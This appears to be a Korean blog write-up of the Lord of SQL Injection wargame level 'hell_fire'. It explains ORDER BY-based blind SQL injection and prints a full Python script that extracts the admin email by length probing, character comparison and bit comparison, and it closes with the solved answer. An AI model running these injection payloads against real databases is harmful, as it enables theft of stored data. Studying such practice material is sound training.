본문 바로가기
3. 웹 애플리케이션 취약점 진단/Lord of Sql Injection

lord of sql injection 23번 - hell_fire

by Robert8478 2023. 12. 22.

이번 문제는 order by 구문을 활용하여 풀어야하는 문제다.
order 값을 받아서 테이블을 정렬하는데 order by에 if문을 이용해서 참과 거짓을 가려내어서 admin의 이메일 길이를 알아내고 값을 구해야 할것같다.

if문을 넣어서 길이를 검증하고 참이면 score를 반환해서 order by score가 되고 거짓이면 id를 반환해서 order by id 구문이 쿼리로 들어가도록 하였다. 이제 이메일 길이값을 찾아야 하는데 길이값에 = 를 주어서 글자수가 맞으면 score, 틀리면 99999 와 같은 숫자를 주어서 에러를 유발해 score가 아닌 기준이 되도록하였다.

그 결과 28 길이로 하였을때 올바르게 정렬되었다. 이제 전에 사용하던 블라인드 sqli 코드를 수정하여 이메일 주소를
찾으면 될것이다.
conv(hex(substr(email,{},1)),16,10)={},id='rubiya'" 명령어로 substr을 이용 email의 첫 번째 글자의 10진수 값이 97인 즉 아스키'a'인 값을 기준으로 먼저 정렬하고, 일치한 게 없으면 id='rubiya'로 정렬하는 것이다
이는 rubiya 이메일주소값과 하나씩 비교하여 찾는 코드이다.
그 뒤 19자리부터는 는 substr(lpad(bin(ord(substr(email,19,1))),16,0),1,1)=1 함수로 비트비교를 하여 추출한다.

hellfire.py
import requests
 
requests.packages.urllib3.disable_warnings()
sess= requests.session()
headers= {'Cookie':'PHPSESSID=2fvukm4c0cn46c3g0edolo4jtj'}
 
 
# Get the E-mail Length =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
emailLen= 0
 
for i in range(1,100):
    payload= "length(email)=" + str(i)+ ",id='rubiya'"
    res    = sess.get(url=URL+payload, headers=headers, verify=False)
 
    if 'idemailscorerubiya' in res.text:
        emailLen= i
        break
    else:
        pass
 
print('[=] Find E-mail Length : %d' % emailLen)
 
 
# Find the E-mail(FRONT)  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Front   = ''
rubiya  = 'rubiya805@gmail.cm'
 
for j in range(1, emailLen+1):
    for i in range(0,129):
        payload= "conv(hex(substr(email,{},1)),16,10)={},id='rubiya'".format(j,i)
        res    = sess.get(url=URL+payload, headers=headers, verify=False)
 
        if 'idemailscorerubiya' in res.text:
            if i== 0:
                break
            print('[=] Find Char : ',chr(i),' : ',hex(i))
            Front+= chr(i)
            break
        else:
            pass
 
    if i== 128:
        print('[=] Find Char : ', rubiya[j-1],' :  same with rubiya')
        Front+= rubiya[j-1]
 
 
print('[=] Find Front String : ', Front)
 
# Find the E-mail(BACK)  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
bitLen= 16
Back  = ''
 
for j in range(len(Front)+1, emailLen+1):
     
    bit= ''
 
    for i in range(1, bitLen+1):
        payload= "substr(lpad(bin(ord(substr(email,{},1))),{},0),{},1)=1,id='rubiya'".format(j, bitLen, i)
        res    = sess.get(url=URL+payload, headers=headers, verify=False)
 
        if 'idemailscorerubiya' in res.text:
            # True
            bit+= '1'
        else:
            bit+= '0'
 
    print(' =  Find Back Char    : ',chr(int(bit,2)),'  :  ', bit)
 
    Back+= chr(int(bit,2))
 
print('[=] Find Back String  : ', Back)
print('\n\n')
print('[=] Find E-mail       : ', Front+ Back)

그렇게 나온 값은 admin_secure_email@emai1.com 이다.